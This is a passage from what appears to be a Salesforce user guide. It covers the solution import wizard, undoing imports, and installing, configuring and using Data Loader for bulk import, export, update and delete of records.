Launch the wizard 1. To import solutions, choose Your Name > Setup > Data Management > Import Solutions. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Choose the type of solution (multilingual solutions only) 1. If multilingual solutions is enabled for your organization, choose to import either master solutions or translated solutions. You cannot import both at the same time. For each translated solution you import, include the 15 to 18 character Solution ID field of its master solution in a master solution ID column in your import file. This will help you avoid having to manually associate translated solutions with master solutions after import. To view the Solution ID field for master solutions, run the Translated Solutions report. 2. Select the language of the solutions you are importing from the Language drop-down list. For each import, you can only select one language so make sure your import file includes solutions in a single language. Prevent duplicate records 1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records from being created. You must select Yes in order to update existing records.

772

Data Management

Accessing the Import Wizards

2. If you choose Yes, then additional choices will appear: Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records. Choose what you want to happen if matches are foundonly import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones.

3. Click Next. Specify author and lookup relationships 1. Solutions are associated with authors - the users who initially created the solutions. If you have included a column in your import file to identify authors, specify the user field it contains. When you choose Name, the following formats are valid: First name followed by last name Last name followed by first name Alias Username

For more information, see User Fields on page 32. Choose None to specify yourself as the author of the imported solutions. 2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in your import file, then check the corresponding boxes. Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated during your import even if your import file contains different values for fields on those related records. 3. Click Next. Set lookup record matching 1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely identify those related records. 2. Click Next. Select record type 1. If the records you are importing have record types, then choose the record type that you want to assign to the records in your import file. 2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value.

773

Data Management

Undoing an Import

3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 828.

See Also:
Accessing the Import Wizards

Undoing an Import
Available in: All Editions except Database.com

User Permissions Needed To mass delete data: Modify All Data

If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Your Name > Setup > Data Management > Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo Imports document for instructions.

774

Data Management

Data Loader Overview

The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise, Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records. See Performing Mass Deletes on page 789.

DATA LOADER
Data Loader Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export Salesforce records. When importing data, Data Loader reads, extracts, and loads data from comma separated values (CSV) files or from a database connection. When exporting data, it outputs CSV files. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

You can use Data Loader in two different ways: User interfaceWhen you use the user interface, you work interactively to specify the configuration parameters, CSV files used for import and export, and the field mappings that map the field names in your import file with the field names in Salesforce. Command lineWhen you use the command line, you specify the configuration, data sources, mappings, and actions in files. This enables you to set up Data Loader for automated processing.

Data Loader offers the following key features: An easy-to-use wizard interface for interactive use An alternate command line interface for automated batch operations Support for large files with up to 5 million records Drag-and-drop field mapping Support for all objects, including custom objects Can be used to process data in both Salesforce and Database.com Detailed success and error log files in CSV format A built-in CSV file viewer Support for Windows 7 Note: If you are currently using Windows 2000, we encourage you to use Data Loader on Windows 7 instead.

To get started, see the following topics: When to Use Data Loader

775

Data Management

When to Use Data Loader

Installing the Data Loader Note: In previous versions, Data Loader has been known as AppExchange Data Loader and Sforce Data Loader.

When to Use Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application. Refer to the following guidelines to determine which method best suits your business needs: Use Data Loader when: You need to load 50,000 to 5,000,000 records. If you need to load more than 5,000,000 records, we recommend you work with a Salesforce.com partner. You need to load into an object that is not yet supported by the import wizards. You want to schedule regular data loads, such as nightly imports. You want to export your data for backup purposes.

Use the import wizards when: You are loading less than 50,000 records. The object you need to import is supported by import wizards. To see what import wizards are available and thus what objects they support, click Your Name > Setup > Data Management. You want to prevent duplicates by uploading records according to account name and site, contact email address, or lead email address.

For more information about the import wizards, see Importing Overview on page 728.

INSTALLING AND CONFIGURING THE DATA LOADER


Installing the Data Loader

776

Data Management

Installing the Data Loader

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To access the page to download the Data Loader: To use the Data Loader: Modify All Data The appropriate user permission for the operation you are doing, for example, Create on accounts to insert new accounts

System Requirements To use the Data Loader, you need: Windows 7 or Windows XP 90 MB free disk space 256 MB available memory Java JRE 1.5 or later (Windows 7 or Windows XP) Sun JVM 1.5 or later (Windows 7 or Windows XP) Note: If you are currently using Windows 2000, we encourage you to use Data Loader on Windows 7 instead.

Installation Procedure Caution: Over time, multiple versions of the Data Loader client application have been available for download. Different versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions were released with earlier product names such as AppExchange Data Loader or Sforce Data Loader. You can run different versions at the same time on one computer. However, do not install multiple copies of the same version. The latest version is always available from Salesforce at Your Name > Setup > Data Management > Data Loader. If you have previously installed the latest version and want to install it again, first remove it from your computer by using the Add or Remove Programs dialog in the Windows Control Panel. 1. In the online application, click Your Name > Setup > Data Management > Data Loader. 2. Click Download the Data Loader and save the installer to your PC. If you're prompted to run or save the file, click Run. If you're then prompted to allow the program to make changes to the computer, click Yes. 3. Double-click the downloaded file to launch the InstallShield wizard. 4. Click Next. 5. Accept the license agreement and click Next. 6. Accept the default installation directory, or click Change... to choose another directory. Click Next. 7. Click Install. 8. Click Finish. 9. To start the Data Loader, double-click the Data Loader icon on your desktop, or choose Start > All Programs > salesforce.com > Apex Data Loader > Apex Data Loader.

777

Data Management

Configuring the Data Loader

Tip: If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting From the Command Line on page 794. If you want to download the source code and make changes, an open source version of Data Loader is available here. Login Considerations If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in.

Configuring the Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use the Settings menu to change the default operation settings of the Data Loader. 1. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. 2. Choose Settings > Settings. 3. Edit the fields as desired: Field
Batch size

Description In a single insert, update, upsert, or delete operation, records moving to or from Salesforce are processed in increments of this size. The maximum value is 200. We recommend a value between 50 and 100. The maximum value is 10,000 if the Use Bulk API option is selected.

Insert null values

Select this option to insert blank mapped values as null values during data operations. Note that when you are updating records, this option instructs the Data Loader to overwrite any existing data in mapped fields. This option is not available if the Use Bulk API option is selected. Empty field values are ignored when you update records using the Bulk API. To set a field value to null when the Use Bulk API option is selected, use a field value of #N/A.

Assignment rule

Specify the ID of the assignment rule to use for inserts, updates, and upserts. This option applies to inserts, updates, and upserts on cases and leads. It also applies to updates on accounts if your organization has territory assignment rules

778

Data Management

Configuring the Data Loader

Field

Description on accounts. The assignment rule overrides Owner values in your CSV file.

Server host

Enter the URL of the Salesforce server with which you want to communicate. For example, if you are loading data into a sandbox, change the URL to https://test.salesforce.com. By default, Salesforce resets the URL after login to the one specified in Server host. To turn off this automatic reset, disable this option. Compression enhances the performance of the Data Loader and is turned on by default. You may want to disable compression if you need to debug the underlying SOAP messages. To turn off compression, enable this option. Specify how many seconds the Data Loader waits to receive a response back from the server before returning an error for the request. In a single export or query operation, records are returned from Salesforce in increments of this size. The maximum value is 2,000 records. Larger values may improve performance but use more memory on the client. Select this option to generate success and error files when exporting data. Select this option to force files to open in UTF-8 encoding, even if they were saved in a different format. Select this option to force files to be written in UTF-8 encoding. Select this option to support the date formats dd/MM/yyyy and dd/MM/yyyy HH:mm:ss. Select this option to truncate data in the following types of fields when loading that data into Salesforce: Email, Multi-select Picklist, Phone, Picklist, Text, and Text (Encrypted). In Data Loader versions 14.0 and earlier, values for fields of those types are truncated by the Data Loader if they are too large. In Data Loader version 15.0 and later, the load operation fails if a value is specified that is too large. Selecting this option allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Data Loader versions 15.0 and later. This option is selected by default and has no effect in versions 14.0 and earlier.

Reset URL on Login

Compression

Timeout

Query request size

Generate status files for exports

Read all CSVs with UTF-8 encoding

Write all CSVs with UTF-8 encoding

Use European date format

Allow field truncation

779

Data Management

Configuring the Data Loader

Field

Description This option is not available if the Use Bulk API option is selected. In that case, the load operation fails for the row if a value is specified that is too large for the field.

Use Bulk API

Select this option to use the Bulk API to insert, update, upsert, delete, and hard delete records. The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the default SOAP-based API due to parallel processing and fewer network round-trips.. Caution: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead, they become immediately eligible for deletion. The permission for this operation, Bulk API Hard Delete, is disabled by default and must be enabled by an administrator. A Salesforce user license is required for hard delete.

Enable serial mode for Bulk API

Select this option to use serial instead of parallel processing for the Bulk API. Processing in parallel can cause database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed one at a time. Note that using this option may significantly increase the processing time for a load. This option is only available if the Use Bulk API option is selected.

Upload Bulk API Batch as Zip File

Select this option to use the Bulk API to upload zip files containing binary attachments, such as Attachment records or Salesforce CRM Content. This option is only available if the Use Bulk API option is selected.

Time Zone

Select this option to specify a default time zone. If a date value does not include a time zone, this value is used. If no value is specified, the time zone of the computer where Data Loader is installed is used. If an incorrect value is entered, GMT is used as the time zone and this fact is noted in the Data Loader log.

Valid values are any time zone identifier which can be passed to the Java getTimeZone(java.lang.String) method. The value can be a full name such as

780

Data Management

Configuring the Data Loader

Field

Description
America/Los_Angeles, or a custom ID such as GMT-8:00.

Proxy host Proxy port Proxy username Proxy password Proxy NTLM domain

The host name of the proxy server, if applicable. The proxy server port. The username for proxy server authentication. The password for proxy server authentication. The name of the Windows domain used for NTLM authentication. If your last operation failed, you can use this setting to begin where the last successful operation finished.

Start at row

4. Click OK to save your settings.

See Also:
Data Loader Behavior with Bulk API Enabled Configuring the Data Loader to Use the Bulk API

Data Loader Behavior with Bulk API Enabled


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Enabling the Bulk API in Data Loader allows you to load or delete a large number of records faster than using the default SOAP-based API. However, there are some differences in behavior in Data Loader when you enable the Bulk API. One important difference is that it allows you to execute a hard delete if you have the permission and license. See Configuring the Data Loader on page 778. The following settings are not available on the Settings > Settings page in Data Loader when the Use Bulk API option is selected:
Insert null values

This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to null when the Use Bulk API option is selected, use a field value of #N/A.

781

Data Management

Uninstalling the Data Loader

Allow field truncation

This option directs Data Loader to truncate data for certain field types when the Bulk API is disabled. A load operation fails for the row if a value is specified that is too large for the field when the Use Bulk API option is selected.

See Also:
Configuring the Data Loader

Configuring the Data Loader to Use the Bulk API


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the SOAP-based API due to parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process records. To configure Data Loader to use the Bulk API for inserting, updating, upserting, deleting, and hard deleting records: 1. 2. 3. 4. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. Choose Settings > Settings. Select the Use Bulk API option. Click OK. Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed one at a time. Note that using this option may significantly increase the processing time for a load. Caution: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead, they become immediately eligible for deletion. The permission for this operation, Bulk API Hard Delete, is disabled by default and must be enabled by an administrator. A Salesforce user license is required for hard delete.

See Also:
Configuring the Data Loader

Uninstalling the Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To uninstall the Data Loader client application: 1. Go to Start > Control Panel > Add or Remove Programs. 2. Select the Data Loader program.

782

Data Management

Data Types Supported by Data Loader

3. Click Remove. The uninstaller removes the program from your computer.

USING DATA LOADER


Data Types Supported by Data Loader
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader supports the following data types: Base64 String path to file (converts the file to a base64encoded array). Base64 fields are only used to insert or update attachments and Salesforce CRM Content. For more information, see Uploading Attachments on page 789 and Uploading Content with the Data Loader on page 790. Boolean True values (case insensitive) = yes, y, true, on, 1 False values (case insensitive) = no, n, false, off, 0

Date Formats We recommend you specify dates in the format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm:


yyyy is the four-digit year MM is the two-digit month (01-12) dd is the two-digit day (01-31) HH is the two-digit hour (00-23) mm is the two-digit minute (00-59) ss is the two-digit seconds (00-59) SSS is the three-digit milliseconds (000-999) +/-HHmm is the Zulu (UTC) time zone offset

The following date formats are also supported: yyyy-MM-dd'T'HH:mm:ss.SSS'Z' yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time yyyy-MM-dd'T'HH:mm:ss.SSS PST yyyy-MM-dd'T'HH:mm:ss.SSSPST yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00 yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00 yyyy-MM-dd'T'HH:mm:ss.SSS -800

783

Data Management

Data Types Supported by Data Loader

yyyy-MM-dd'T'HH:mm:ss.SSS-800 yyyy-MM-dd'T'HH:mm:ss yyyy-MM-dd HH:mm:ss yyyyMMdd'T'HH:mm:ss yyyy-MM-dd MM/dd/yyyy HH:mm:ss MM/dd/yyyy

Note the following tips for date formats: To enable date formats that begin with the day rather than the month, select the Use European date format box in the Settings dialog. European date formats are dd/MM/yyyy and dd/MM/yyyy HH:mm:ss. If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer setting to GMT in order to avoid date adjustments when inserting or updating records. A knowledge base solution for this issue is available in the Salesforce Help & Training window; search for data loader date. Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000. Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid date is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

Double Standard double string ID A Salesforce ID is a case-sensitive 15-character or caseinsensitive 18-character alphanumeric string that uniquely identifies a particular record. Tip: To ensure data quality, make sure that all Salesforce IDs you enter in Data Loader are in the correct case.

Integer Standard integer string String All valid XML strings; invalid XML characters are removed.

784

Data Management

Exporting Data

Exporting Data
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To export records: To export all records: Read on the records Read on the records

You can use the Data Loader export wizard to extract data from any Salesforce object. When you export, you can choose to include (Export All) or exclude (Export) soft-deleted records. 1. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. 2. Click Export or Export All . These commands can also be found in the File menu. 3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next. (Until you log out or close the program, you will not be asked to log in again.) If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in. 4. Choose an object. For example, select the Account object. If your object name does not display in the default list, check Show all objects to see a complete list of objects that you can access. The objects will be listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Web Services API Developer's Guide. 5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new file or choose an existing file. If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose another file. 6. Click Next. 7. Create a SOQL query for the data export. For example, check Id and Name in the query fields and click Finish. As you follow the next steps, you will see that the CSV viewer displays all the Account names and their IDs. SOQL is the Salesforce Object Query Language that allows you to construct simple but powerful query strings. Similar to the SELECT command in SQL, SOQL allows you to specify the source object (such as account), a list of fields to retrieve, and conditions for selecting rows in the source object. a. Choose the fields you want to export. b. Optionally, select conditions to filter your data set. If you do not select any conditions, all the data to which you have read access will be returned. c. Review the generated query and edit if necessary. Tip: You can use a SOQL relationship query to include fields from a related object. For example:
Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM PricebookEntry WHERE IsActive = true

785

Data Management

Defining Field Mappings

Or:
Select Id, LastName, Account.Name FROM Contact

When using relationship queries in the Data Loader, the fully specified field names are case-sensitive. For example, using ACCOUNT.NAME instead of Account.Name does not work. The Data Loader does not support nested queries or querying child objects. For example, queries similar to the following return an error:
SELECT Amount, Id, Name, (SELECT Quantity, ListPrice, PriceBookEntry.UnitPrice, PricebookEntry.Name, PricebookEntry.product2.Family FROM OpportunityLineItems) FROM Opportunity

For more information on SOQL, see the Web Services API Developer's Guide. 8. Click Finish, then click Yes to confirm. 9. A progress information window reports the status of the operation. 10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV file, or click OK to close. For more details, see Reviewing Output Files on page 791. Note: The Data Loader currently does not support the extraction of attachments. As a workaround, we recommend that you use the weekly export feature in the online application to export attachments.

Defining Field Mappings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Whenever you insert, delete, or update files, use the Mapping Dialog window to associate Salesforce fields with the columns of your CSV file. For more information, see Inserting, Updating, or Deleting Data Using the Data Loader on page 787. 1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete operation, automatic matching works only on the ID field. 2. To manually match fields with columns, click and drag fields from the list of Salesforce fields at the top to the list of CSV column header names at the bottom. For example, if you are inserting new Account records where your CSV file contains the names of new accounts, click and drag the Name field to the right of the NAME column header field. 3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL mapping file. If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose another file. 4. Click OK to use your mapping for the current operation.

786

Data Management

Inserting, Updating, or Deleting Data Using the Data Loader

Inserting, Updating, or Deleting Data Using the Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To insert records: To update records: To upsert records: To delete records: To hard delete records Create on the record Edit on the record Create or Edit on the record Delete on the record Delete on the record

The insert, update, upsert, delete, and hard delete wizards in the Data Loader allow you to add new records, modify existing records, or delete existing records. Note that upsert is a combination of inserting and updating - if a record in your file matches an existing record, the existing record is updated with the values in your file. If no match is found, then the record is created as new. When you hard delete records, the deleted records are not stored in the Recycle Bin and become immediately eligible for deletion. For more information, see Configuring the Data Loader on page 778. 1. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. 2. Click Insert, Update, Upsert, Delete or Hard Delete. These commands can also be found in the File menu. For example, to insert new Account records, begin by clicking Insert. 3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next. (Until you log out or close the program, you are not asked to log in again.) If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in. 4. Choose an object. For example, if you are inserting Account records, select Account. If your object name does not display in the default list, check Show all objects to see a complete list of the objects that you can access. The objects are listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Web Services API Developer's Guide. 5. Click Browse... to select your CSV file. For example, if you are inserting Account records, you could specify a CSV file named insertaccounts.csv containing a Name column for the names of the new accounts. 6. Click Next. After the object and CSV file are initialized, click OK. 7. If you are performing an upsert: a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either an external ID (a custom field with the External ID attribute), or Id (the Salesforce record ID). From the drop-down list, select which field to use for matching. If the object has no external ID fields, Id is automatically used. For more information on external IDs, see Custom Field Attributes on page 988. Click Next to continue.

787

Data Management

Inserting, Updating, or Deleting Data Using the Data Loader

b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the related object's Id field for matching by mapping it in the next step. Click Next to continue. 8. Define how the columns in your CSV file map to Salesforce fields. Click Choose an Existing Map to select an existing field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details and an example of usage, see Defining Field Mappings on page 786. 9. Click Next. 10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with success, while the other starts with error. Click Browse... to specify a directory for these files. 11. Click Finish to perform the operation, and then click Yes to confirm. 12. As the operation proceeds, a progress information window reports the status of the data movement. 13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files on page 791. Tip: If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass Deletes for tips and best practices. There is a five-minute limit to process 100 records when the Bulk API is enabled. Also, if it takes longer than 10 minutes to process a file, the Bulk API places the remainder of the file back in the queue for later processing. If the Bulk API continues to exceed the 10-minute limit on subsequent attempts, the file is placed back in the queue and reprocessed up to 10 times before the operation is permanently marked as failed. Even if the processing failed, some records could have completed successfully, so you must check the results. If you get a timeout error when loading a file, split your file into smaller files, and try again.

See Also:
Performing Mass Updates Performing Mass Deletes

Performing Mass Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To update a large number of records at one time, we recommend the following steps: 1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data on page 785, or Running Reports on page 2612. Make sure your report includes the record ID. 2. As a backup measure, save an extra copy of the generated CSV file. 3. Open your working file in a CSV editor such as Excel, and update your data. 4. Launch the Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting, Updating, or Deleting Data Using the Data Loader on page 787. 5. After the operation, review your success and error log files. See Reviewing Output Files on page 791.

788

Data Management

Uploading Attachments

6. If you made a mistake, use the backup file to update the records to their previous values.

See Also:
Inserting, Updating, or Deleting Data Using the Data Loader

Performing Mass Deletes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To delete a large number of records at one time using the Data Loader, we recommend the following steps: 1. As a backup measure, export the objects you wish to delete, being sure to select all fields. (See Exporting Data on page 785.) Save an extra copy of the generated CSV file. 2. Next, export the objects you wish to delete, this time using only the record ID as the desired criteria. 3. Launch the Data Loader and follow the delete or hard delete wizard. Map only the ID column. See Inserting, Updating, or Deleting Data Using the Data Loader on page 787. 4. After the operation, review your success and error log files. See Reviewing Output Files on page 791.

See Also:
Inserting, Updating, or Deleting Data Using the Data Loader

Uploading Attachments
You can use the Data Loader to upload attachments to Salesforce. Before uploading attachments, note the following: If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings > Settings page is enabled. If you are migrating attachments from a source Salesforce organization to a target Salesforce organization, begin by requesting a data export for the source organization. On the Schedule Export page, make sure to select the Include Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can use this CSV file to upload the attachments. For more information on the export service, see Exporting Backup Data on page 702.

To upload attachments: 1. Confirm that the CSV file you intend to use for attachment importing contains the following required columns (each column represents a Salesforce field):
ParentId - the Salesforce ID of the parent record. Name - the name of the attachment file, such as myattachment.jpg. Body - the absolute path to the attachment on your local drive.

789

Data Management

Uploading Content with the Data Loader

Ensure that the values in the Body column contain the full file name of the attachments as they exist on your computer. For example, if an attachment named myattachment.jpg is located on your computer at C:\Export, Body must specify C:\Export\myattachment.jpg. Your CSV file might look like this:
ParentId,Name,Body 50030000000VDowAAG,attachment1.jpg,C:\Export\attachment1.gif 701300000000iNHAAY,attachment2.doc,C:\Export\files\attachment2.doc

The CSV file can also include other optional Attachment fields, such as Description. 2. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using the Data Loader on page 787. At the Select data objects step, make sure to select the Show all Salesforce objects checkbox and the Attachment object name in the list.

Uploading Content with the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. You can use the Data Loader to bulk upload documents and links into libraries in Salesforce CRM Content. Before uploading documents or links, note the following: If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings > Settings page is enabled. When you upload a document from your local drive using the Data Loader, you must specify the actual path in the VersionData and PathOnClient fields in the CSV file. VersionData identifies the location and extracts the format and PathOnClient identifies the type of document being uploaded. When you upload a link using the Data Loader, you must specify the URL in ContentUrl. Do not use PathOnClient or VersionData to upload links. You can't export content using the Data Loader.

1. Create a CSV file with the following fields:


Title - file name. Description - (optional) file or link description.

Note: If there are commas in the description, use double quotes around the text.

VersionData - complete file path on your local drive (for uploading documents only).

Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.

PathOnClient - complete file path on your local drive (for uploading documents only).

790

Data Management

Reviewing Output Files

ContentUrl - URL (for uploading links only). OwnerId - (optional) file owner, defaults to the user uploading the file. FirstPublishLocationId - library ID. RecordTypeId - content type ID.

Note: If you publish to a library that has restricted content types, you must specify RecordTypeId.

To determine the RecordTypeId values for your organization using the Data Loader, follow the steps in Exporting Data. Your SOQL query might look like this:
Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'

To determine the RecordTypeId values for your organization using the AJAX Toolkit: a. Log in to Salesforce. b. Enter this URL in your browser:
http://instanceName.salesforce.com/soap/ajax/23.0/debugshell.html. Enter the instanceName, such as na1, for your organization. You can see the instanceName in the URL field of your browser after logging

in to Salesforce. c. In the AJAX Toolkit Shell page type:


sforce.connection.describeSObject("ContentVersion")

d. Press Enter. e. Click on the arrows for recordTypeInfos. All of the RecordTypeId values for your organization are listed.
TagsCsv - (optional) tag.

A sample CSV file is:


Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv testfile,"This is a test file, use for bulk upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using the Data Loader on page 787. All documents and links will be available in the specified library.

Reviewing Output Files


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

After every import or export, Data Loader generates two CSV output files that contain the results of the operation. One file name starts with success, while the other starts with error. During every export, Data Loader saves the extracted data to a CSV file that you specify in the wizard. Data Loader has a built-in CSV file viewer with which you can open and view these files.

791

Data Management

Troubleshooting Data Loader Operations

To view output files from a Data Loader operation: 1. Choose View > View CSV. 2. Specify the number of rows to view. Each row in the CSV file corresponds to one Salesforce record. The default is 1000. 3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last error file, click Open Error. The CSV file opens in a new window. 4. Optionally, click Open in External Program to open the file in the associated external program, such as Microsoft Office Excel. The success file contains all of the records that were successfully loaded. In this file, there's a column for the newly generated record IDs. The error file contains all of the records that were rejected from the load operation. In this file, there's a column that describes why the load failed. 5. Click Close to return to the CSV Chooser window, and then click OK to exit the window. Note: To generate success files when exporting data, select the Generate status files for exports setting. For more information, see Configuring the Data Loader on page 778.

Troubleshooting Data Loader Operations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

If you need to investigate a problem with the Data Loader, or if requested by salesforce.com Customer Support, you can access log files that track the operations and network connections made by the Data Loader. The two log files are: sdl.log Contains a detailed chronological list of Data Loader log entries. Log entries marked INFO are procedural items, such as logging in to Salesforce. Log entries marked ERROR are problems such as a submitted record missing a required field. sdl_out.log A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for the creation of proxy server network connections. These files can be opened with commonly available text editor programs, such as Microsoft Notepad. You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or the Windows Explorer address bar. If you are having login issues from the command line, ensure that the password provided in the configuration parameters is encrypted. If you are having login issues from the UI, you may need to obtain a new security token.

RUNNING BATCH PROCESSES


Running in Batch Mode
792

Data Management

Running in Batch Mode

You can run the Data Loader in batch mode from the command line. See the following topics: Understanding Installed Directories and Files Encrypting From the Command Line Upgrading Your Batch Mode Interface Using the Command Line Interface Configuring Batch Processes Data Loader Process Configuration Parameters Data Loader Command Line Operations Configuring Database Access Mapping Columns Running Individual Batch Processes Data Access Objects Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your Batch Mode Interface on page 794.

Understanding Installed Directories and Files


